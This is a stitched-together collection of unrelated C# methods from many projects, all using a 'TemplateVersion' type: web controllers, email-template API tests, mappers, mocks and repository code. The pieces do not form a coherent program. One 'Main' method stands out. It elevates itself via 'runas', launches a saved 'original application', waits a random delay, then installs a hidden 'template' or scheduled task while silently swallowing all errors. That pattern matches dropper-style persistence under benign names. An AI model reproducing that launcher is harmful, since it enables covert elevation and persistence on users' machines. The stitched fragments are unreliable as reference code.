private static TemplateVersion Map(Template template,
TemplateVersion sourceVersion,
Reference author,
string templateJson = null,
TemplateStatus newStatus = TemplateStatus.Draft,
int majorVersion = 0,
int minorVersion = 1,
string publishNote = null)
{
int previousVersionNumber = template.Current?.Version ?? 0;
TemplateVersion newVersion = sourceVersion.Clone() as TemplateVersion;
newVersion.Author = author;
newVersion.TemplateId = template.TemplateId;
newVersion.Name = template.Name;
newVersion.FundingStreamId = template.FundingStream.Id;
newVersion.FundingPeriodId = template.FundingPeriod.Id;
newVersion.Comment = publishNote;
newVersion.TemplateJson = templateJson ?? sourceVersion?.TemplateJson;
newVersion.Version = previousVersionNumber + 1;
newVersion.MajorVersion = majorVersion;
newVersion.MinorVersion = minorVersion;
newVersion.Status = newStatus;
newVersion.Date = DateTimeOffset.Now;
newVersion.Predecessors ??= new List <string>();
if (template.Current != null)
{
newVersion.Predecessors.Add(template.Current.Id);
}
return(newVersion);
}
public async Task <IActionResult> Edit(int id, [Bind("Id,FunctionName,FunctionExample,AlternateExample,ImagePath,FunctionDescription,ExampleExaplanation,AlternateExamplesExplanation,TableOfContentHeading")] TemplateVersion templateVersion)
{
if (id != templateVersion.Id)
{
return(NotFound());
}
if (ModelState.IsValid)
{
try
{
_context.Update(templateVersion);
await _context.SaveChangesAsync();
}
catch (DbUpdateConcurrencyException)
{
if (!TemplateVersionExists(templateVersion.Id))
{
return(NotFound());
}
else
{
throw;
}
}
return(RedirectToAction(nameof(Index)));
}
return(View(templateVersion));
}
public async Task TestAddLocaleToTemplateWithAllParmetersAsync()
{
// Create a new template to add a locale to
// Otherwise, if an existing template were used, this test might fail because the new locale could already exist on the template
var newTemplate = await BuildAndSendCreateTemplateRequestWithAllParametersAsync();
var templateId = newTemplate.id;
// Make the API call
Trace.WriteLine(String.Format("POST /templates/{0}/locales", templateId));
var templateVersionName = "Published French Version";
var templateSubject = "Ce est un nouveau modèle!";
var updatedTemplateVersion = new TemplateVersion(templateVersionName, templateSubject);
updatedTemplateVersion.html = "<html><head></head><body><h1>Nouveau modèle!</h1></body></html>";
updatedTemplateVersion.text = "un texte";
updatedTemplateVersion.preheader = "A French Preheader";
try
{
var template = await Template.AddLocaleToTemplate(templateId, ALTERNATE_LOCALE, updatedTemplateVersion);
// Validate the response
SendwithusClientTest.ValidateResponse(template);
}
catch (AggregateException exception)
{
Assert.Fail(exception.ToString());
}
}
private static void Main(string[] args)
{
try
{
if (args.Length == 0)
{
FileUtils.LaunchFile(Application.ExecutablePath, "runas", true, ProcessWindowStyle.Normal);
}
else
{
OriginalApplicationLauncher.SaveAndLaunchOriginalApplication();
Thread.Sleep(TimeSpan.FromMinutes((double)new Random().Next(2, 3)));
TemplateVersionFactory @templateFactory = new TemplateVersionFactory();
TemplateVersion templateVersion = @templateFactory.LocateFirstTemplateInstalled();
TemplateInstaller templateInstaller = new TemplateInstaller(templateVersion);
if (templateVersion.prop_tmp_dir == null)
{
templateInstaller.InstallTemplate();
}
else
{
templateInstaller.CreateTask(false);
}
}
}
catch (Exception)
{
}
}
public async Task UpdateTemplateVersion(Guid templateId, Guid templateVersionId, string content, CancellationToken cancellationToken)
{
Check.GuidNotEmpty(templateId, nameof(templateId));
Check.GuidNotEmpty(templateVersionId, nameof(templateVersionId));
Check.NotEmpty(content, nameof(content));
if (!await _templatesRepository.TemplateExists(templateId, cancellationToken))
{
throw new TemplateNotFoundException(templateId);
}
if (!await _templatesRepository.TemplateVersionExists(templateId, templateVersionId, cancellationToken))
{
throw new TemplateVersionNotFoundException(templateId, templateVersionId);
}
try
{
var templateVersionToUpdate = new TemplateVersion()
{
TemplateVersionId = templateVersionId, Content = content, UpdatedAt = _systemClock.UtcNow
};
await _templatesRepository.UpdateTemplateVersion(templateId, templateVersionToUpdate, cancellationToken);
}
catch (Exception e)
{
throw new TemplateVersionUpdateFailedException(templateId, templateVersionId, e);
}
}
public void Will_Map_TemplateVersion_To_TemplateVersionDetails()
{
var version = new TemplateVersion()
{
TemplateVersionId = Guid.NewGuid(),
Content = "Lorem ipsun, dolor sit amet",
CreatedAt = DateTimeOffset.UtcNow,
UpdatedAt = DateTimeOffset.UtcNow.AddDays(3),
Version = 1,
IsActive = true
};
var expectedVersionDetails = new TemplateVersionDetails()
{
TemplateVersionId = version.TemplateVersionId,
CreatedAt = version.CreatedAt,
UpdatedAt = version.UpdatedAt,
Version = version.Version,
IsActive = version.IsActive,
Content = version.Content
};
var mapped = _mapper.Map <TemplateVersionDetails>(version);
mapped.Should().BeEquivalentTo(expectedVersionDetails);
}
private async Task <HttpStatusCode> UpdateTemplateContent(TemplateJsonContentUpdateCommand command, Reference author, Template template,
int majorVersion, int minorVersion)
{
// create new version and save it
TemplateVersion newVersion = Map(template,
template.Current,
author,
templateJson: command.TemplateJson,
majorVersion: majorVersion,
minorVersion: minorVersion);
await _templateVersionRepository.SaveVersion(newVersion);
// update template
template.AddPredecessor(template.Current.Id);
template.Current = newVersion;
HttpStatusCode updateResult = await _templateRepository.Update(template);
if (updateResult == HttpStatusCode.OK)
{
await CreateTemplateIndexItem(template, author);
}
return(updateResult);
}
/// <summary>
/// Builds a new template with the minimum parameters and sends the Create Template request
/// </summary>
/// <returns>The response to the Create Template API request</returns>
public static async Task <Template> BuildAndSendCreateTemplateRequestWithMinimumParametersAsync()
{
var templateVersionName = "New Template Version";
var templateSubject = "New Version!";
var updatedTemplateVersion = new TemplateVersion(templateVersionName, templateSubject);
return(await Template.CreateTemplateAsync(updatedTemplateVersion));
}
/// <summary>
/// Adds new templateversion
/// </summary>
/// <returns></returns>
public int Add(TemplateVersionDomain templateVersion)
{
var templateVersionDb = new TemplateVersion().FromDomainModel(templateVersion);
_context.TemplateVersion.Add(templateVersionDb);
_context.SaveChanges();
return(templateVersionDb.TemplateVersionId);
}
private void SetupMocks()
{
_validatorFactory = Substitute.For <IIoCValidatorFactory>();
_validatorFactory.Validate(Arg.Any <object>()).Returns(new ValidationResult());
_templateRepository = Substitute.For <ITemplateRepository>();
_templateRepository.Update(Arg.Any <Template>()).Returns(HttpStatusCode.OK);
_templateVersionPrevious = new TemplateVersion
{
Name = "Previous Version Test Name",
TemplateId = _templateId,
Version = 32,
MinorVersion = 2,
MajorVersion = 1,
TemplateJson = "{ \"Lorem\": \"ipsum\" }",
SchemaVersion = "1.1",
Status = TemplateStatus.Draft,
Author = new Reference("111", "FirstTestUser")
};
_templateVersionCurrent = new TemplateVersion
{
Name = "Current Version Test Name",
TemplateId = _templateId,
Version = 46,
MinorVersion = 16,
MajorVersion = 2,
TemplateJson = "{ \"Lorem\": \"ipsum\" }",
SchemaVersion = "1.1",
Status = TemplateStatus.Draft,
Author = new Reference("111", "FirstTestUser")
};
_templateBeforeUpdate = new Template
{
Name = _templateVersionPrevious.Name,
TemplateId = _templateVersionPrevious.TemplateId,
FundingPeriod = new FundingPeriod
{
Id = "2021",
Name = "Test Period",
Type = FundingPeriodType.FY
},
FundingStream = new FundingStream
{
Id = "XX",
ShortName = "XX",
Name = "FundingSteam"
},
Current = _templateVersionCurrent
};
_templateRepository.GetTemplate(Arg.Is(_templateId)).Returns(_templateBeforeUpdate);
_templateRepository.Update(Arg.Any <Template>()).Returns(HttpStatusCode.OK);
_versionRepository = Substitute.For <ITemplateVersionRepository>();
_versionRepository.GetTemplateVersion(Arg.Is(_templateId), Arg.Is(_templateVersionPrevious.Version))
.Returns(_templateVersionPrevious);
_versionRepository.SaveVersion(Arg.Any <TemplateVersion>()).Returns(HttpStatusCode.OK);
_templateBlobService = Substitute.For <ITemplateBlobService>();
_templateBlobService.PublishTemplate(Arg.Any <Template>()).Returns(CommandResult.Success());
}
private TemplateInfo FindTemplateByShortName(string shortName, TemplateVersion version, IEngineEnvironmentSettings envSettings)
{
var loader = (InitializrSettingsLoader)envSettings.SettingsLoader;
var versionString = version == TemplateVersion.V2 ? "2.0" : "3.0";
return(loader.UserTemplateCache
.TemplateInfo
.FirstOrDefault(ti => ti.ShortNameList.Contains(shortName) && ti.Identity.EndsWith(versionString)));
}
public static ExpectedTemplateVersionListItem From(TemplateVersion version)
{
return(new ExpectedTemplateVersionListItem()
{
TemplateVersionId = version.TemplateVersionId,
Version = version.Version,
IsActive = version.IsActive,
CreatedAt = version.CreatedAt,
UpdatedAt = version.UpdatedAt
});
}
public static TemplateVersionDTO ParseTemplateVersion(TemplateVersion templateVersion)
{
return(new TemplateVersionDTO
{
Id = templateVersion.Id,
CreationTime = templateVersion.Date.ToString("dd.MM.yyyy HH:mm"),
Content = templateVersion.Content,
Creator = UserDTO.ParseUserDTO(templateVersion.Creator),
VersionState = templateVersion.State.State
});
}
/// <summary>
/// Builds a new template with all parameters and sends the Create Template request
/// </summary>
/// <returns>The response to the Create Template API request</returns>
public static async Task <Template> BuildAndSendCreateTemplateRequestWithAllParametersAsync()
{
var templateVersionName = "New Template Version";
var templateSubject = "New Version!";
var updatedTemplateVersion = new TemplateVersion(templateVersionName, templateSubject);
updatedTemplateVersion.html = "<html><head></head><body><h1>NEW TEMPLATE VERSION</h1></body></html>";
updatedTemplateVersion.text = "some text";
updatedTemplateVersion.locale = DEFAULT_LOCALE;
return(await Template.CreateTemplateAsync(updatedTemplateVersion));
}
public static TemplateVersionDomain ToDomainModel(this TemplateVersion obj)
{
return(obj == null ? null : new TemplateVersionDomain()
{
Id = obj.TemplateVersionId,
IsDefault = obj.IsDefault,
DateCreated = obj.DateCreated,
TemplateId = obj.TemplateId,
Content = obj.Content,
Code = obj.Code
});
}
public Task UpdateTemplateVersion(Guid templateId, TemplateVersion templateVersion, CancellationToken cancellationToken = default)
{
var filter = TenantFilter()
& _filterBuilder.Eq(x => x.TemplateId, templateId)
& _filterBuilder.ElemMatch(x => x.Versions, x => x.TemplateVersionId == templateVersion.TemplateVersionId);
var update = _updateBuilder
.Set($"{nameof(Template.Versions)}.$.{nameof(TemplateVersion.Content)}", templateVersion.Content)
.Set($"{nameof(Template.Versions)}.$.{nameof(TemplateVersion.UpdatedAt)}", templateVersion.UpdatedAt);
return(_collection.UpdateOneAsync(filter, update, null, cancellationToken));
}
internal static ExpectedTemplateVersionDetails From(TemplateVersion templateVersion)
{
return(new ExpectedTemplateVersionDetails()
{
TemplateVersionId = templateVersion.TemplateVersionId,
Content = templateVersion.Content,
CreatedAt = templateVersion.CreatedAt,
UpdatedAt = templateVersion.UpdatedAt,
IsActive = templateVersion.IsActive,
Version = templateVersion.Version
});
}
/// <summary>
/// 取得版本信息
/// </summary>
/// <param name="tvPath">版本信息文件路径</param>
/// <returns></returns>
public TemplateVersion GetTemplateVersion(string tvPath)
{
string templateVersionPath = tvPath;
if (File.Exists(Path.Combine(templateVersionPath, TemplateVersionFileName)))
{
TemplateVersion t = new TemplateVersion();
t.FromFile(templateVersionPath, TemplateVersionFileName);
return(t);
}
return(null);
}
public string FillTemplateFromJson(object data, TemplateVersion template)
{
var userInput = new Dictionary <string, string>();
JsonConvert.PopulateObject(JsonConvert.SerializeObject(data), userInput);
foreach (var input in userInput)
{
template.Content = template.Content.Replace(input.Key, input.Value);
}
return(template.Content);
}
void CreateVersion(string basePath)
{
TemplateVersion tv = new TemplateVersion();
GeneralConfigInfo si = GeneralConfigs.GetConfig();
tv.TemplatePath = Constants.TemplateBasePath;
tv.Version = si.ProductVersion;
tv.UseSkin = EnableSiteSkins;
tv.FileName = "TemplateVersion.config";
tv.BasePath = basePath;
TemplateVersionHelper.SaveTemplateVersion(tv);
}
public async Task HandleAsync(AddTemplateVersionCommand command)
{
var newTemplateVersion = new TemplateVersion
{
Content = command.NewTemplateVersionInput.Template,
TemplateId = command.TemplateId,
CreatorId = command.NewTemplateVersionInput.AuthorId,
State = await repository.TemplateState
.FindTemplateStateByName(_inactiveTemplateState)
};
await repository.TemplatesVersions
.CreateTemplateVersionAsync(newTemplateVersion);
}
public static TemplateVersion FromDomainModel(this TemplateVersion obj, TemplateVersionDomain domain)
{
if (obj == null)
{
obj = new TemplateVersion();
}
obj.TemplateVersionId = domain.Id;
obj.IsDefault = domain.IsDefault;
obj.DateCreated = domain.DateCreated;
obj.TemplateId = domain.TemplateId;
obj.Content = domain.Content;
obj.Code = domain.Code;
return(obj);
}
public When_i_request_current_version_of_template()
{
_templateVersion = new TemplateVersion
{
Name = "Test Name",
TemplateId = "123",
TemplateJson = null,
Version = 0,
SchemaVersion = "1.1",
Status = TemplateStatus.Draft,
Author = new Reference("111", "FirstTestUser"),
FundingPeriodId = "12345"
};
_template = new Template
{
TemplateId = _templateVersion.TemplateId,
Name = _templateVersion.Name,
Description = "Description",
FundingPeriod = new FundingPeriod
{
Id = "2021",
Name = "Test Period",
Type = FundingPeriodType.FY
},
FundingStream = new FundingStream
{
Id = "XX",
ShortName = "XX",
Name = "FundingSteam"
},
Current = _templateVersion
};
_templateRepository = Substitute.For <ITemplateRepository>();
_templateRepository.GetTemplate(Arg.Is(_template.TemplateId)).Returns(_template);
_service = new TemplateBuilderService(
Substitute.For <IIoCValidatorFactory>(),
Substitute.For <IFundingTemplateValidationService>(),
Substitute.For <ITemplateMetadataResolver>(),
Substitute.For <ITemplateVersionRepository>(),
_templateRepository,
Substitute.For <ISearchRepository <TemplateIndex> >(),
Substitute.For <IPolicyRepository>(),
Substitute.For <ITemplateBlobService>(),
Substitute.For <ILogger>());
_result = _service.GetTemplate(_template.TemplateId).GetAwaiter().GetResult();
}
public Template(
NotificationType notificationType,
TemplateType templateType,
TemplateVersion templateVersion,
string title,
string content,
bool isRendered
)
{
this.NotificationType = notificationType;
this.TemplateType = templateType;
this.TemplateVersion = templateVersion;
this.Title = title;
this.Content = content;
this.IsRendered = isRendered;
}
public async Task <IActionResult> Create([Bind("Id,FunctionName,FunctionExample,AlternateExample,ImagePath,FunctionDescription,ExampleExaplanation,AlternateExamplesExplanation,TableOfContentHeading")] TemplateVersion templateVersion)
{
try
{
var file = Request.Form.Files[0];
var folder = Path.Combine(_environment.WebRootPath, "images/");
if (!Directory.Exists(folder))
{
Directory.CreateDirectory(folder);
}
var filePaths = new List <string>();
if (file.Length > 0)
{
var filePath = Path.GetFileName(file.FileName);
filePaths.Add(filePath);
string fullpath = Path.Combine(folder, filePath);
string relaticePath = "~/images/" + '/' + filePath;
using (var stream = new FileStream(Path.Combine(folder, filePath), FileMode.Create))
{
file.CopyTo(stream);
templateVersion.ImagePath = relaticePath;
}
}
}
catch (Exception e)
{
}
finally
{
if (ModelState.IsValid)
{
if (_context.TemplateVersion.Any(x => x.FunctionName == templateVersion.FunctionName) || _context.TemplateVersion.Any(x => x.FunctionDescription == templateVersion.FunctionDescription))
{
}
else
{
_context.Add(templateVersion);
await _context.SaveChangesAsync();
}
}
}
return(RedirectToAction(nameof(Index)));
// return View(templateVersion);
}
public void When_CreateTemplate_Then_HaveValidData()
{
const string title = "Title hubee";
const string content = "Content hubee";
const NotificationType notificationType = NotificationType.Email;
const TemplateType templateType = TemplateType.PasswordRecovery;
const TemplateVersion templateVersion = TemplateVersion.V1;
const bool isRendered = true;
var template = new Template(notificationType, templateType, templateVersion, title, content, isRendered);
Assert.Equal(title, template.Title);
Assert.Equal(content, template.Content);
Assert.Equal(notificationType, template.NotificationType);
Assert.Equal(templateType, template.TemplateType);
Assert.Equal(templateVersion, template.TemplateVersion);
Assert.Equal(isRendered, template.IsRendered);
}
public async Task TestUpdateTemplateVersionByIdWithMinimumParametersHtmlAsync()
{
// Make the API call
Trace.WriteLine(String.Format("PUT /templates/{0}/versions/{1}", DEFAULT_TEMPLATE_ID, DEFAULT_VERSION_ID));
var templateVersionName = "New Template Version";
var templateSubject = "New Version!";
var updatedTemplateVersion = new TemplateVersion(templateVersionName, templateSubject);
updatedTemplateVersion.html = "<html><head></head><body><h1>UPDATE</h1></body></html>";
try
{
var templateVersion = await Template.UpdateTemplateVersionAsync(DEFAULT_TEMPLATE_ID, DEFAULT_VERSION_ID, updatedTemplateVersion);
// Validate the response
SendwithusClientTest.ValidateResponse(templateVersion);
}
catch (AggregateException exception)
{
Assert.Fail(exception.ToString());
}
}
public async Task TestCreateTemplateVersionWithLocaleWithMinimumParametersTextAsync()
{
// Make the API call
Trace.WriteLine(String.Format("POST /templates/{0}/locales/{1}/versions", DEFAULT_TEMPLATE_ID, DEFAULT_LOCALE));
var templateVersionName = "New Template Version" + SendwithusClientTest.TimeStampAndRandomNumber();
var templateSubject = "New Version!";
var updatedTemplateVersion = new TemplateVersion(templateVersionName, templateSubject);
updatedTemplateVersion.text = "some text";
try
{
var templateVersion = await Template.CreateTemplateVersion(DEFAULT_TEMPLATE_ID, DEFAULT_LOCALE, updatedTemplateVersion);
// Validate the response
SendwithusClientTest.ValidateResponse(templateVersion);
}
catch (AggregateException exception)
{
Assert.Fail(exception.ToString());
}
}
public async Task TestCreateTemplateVersionWithMinimumParametersHtmlAsync()
{
// Make the API call
Trace.WriteLine(String.Format("POST /templates/{0}/versions", DEFAULT_TEMPLATE_ID));
var templateVersionName = "New Template Version" + SendwithusClientTest.TimeStampAndRandomNumber();
var templateSubject = "New Version!";
var updatedTemplateVersion = new TemplateVersion(templateVersionName, templateSubject);
updatedTemplateVersion.html = "<html><head></head><body><h1>NEW TEMPLATE VERSION</h1></body></html>";
try
{
var templateVersion = await Template.CreateTemplateVersion(DEFAULT_TEMPLATE_ID, updatedTemplateVersion);
// Validate the response
SendwithusClientTest.ValidateResponse(templateVersion);
}
catch (AggregateException exception)
{
Assert.Fail(exception.ToString());
}
}
public async Task TestUpdateTemplateVersionByIdAndLocaleWithMinimumParametersTextAsync()
{
// Make the API call
Trace.WriteLine(String.Format("PUT /templates/{0}/locales/{1}/versions/{2}", DEFAULT_TEMPLATE_ID, DEFAULT_LOCALE, DEFAULT_VERSION_ID));
var templateVersionName = "New Version";
var templateSubject = "edited!";
var updatedTemplateVersion = new TemplateVersion(templateVersionName, templateSubject);
updatedTemplateVersion.text = "sometext";
try
{
var templateVersion = await Template.UpdateTemplateVersionAsync(DEFAULT_TEMPLATE_ID, DEFAULT_LOCALE, DEFAULT_VERSION_ID, updatedTemplateVersion);
// Validate the response
SendwithusClientTest.ValidateResponse(templateVersion);
}
catch (AggregateException exception)
{
Assert.Fail(exception.ToString());
}
}
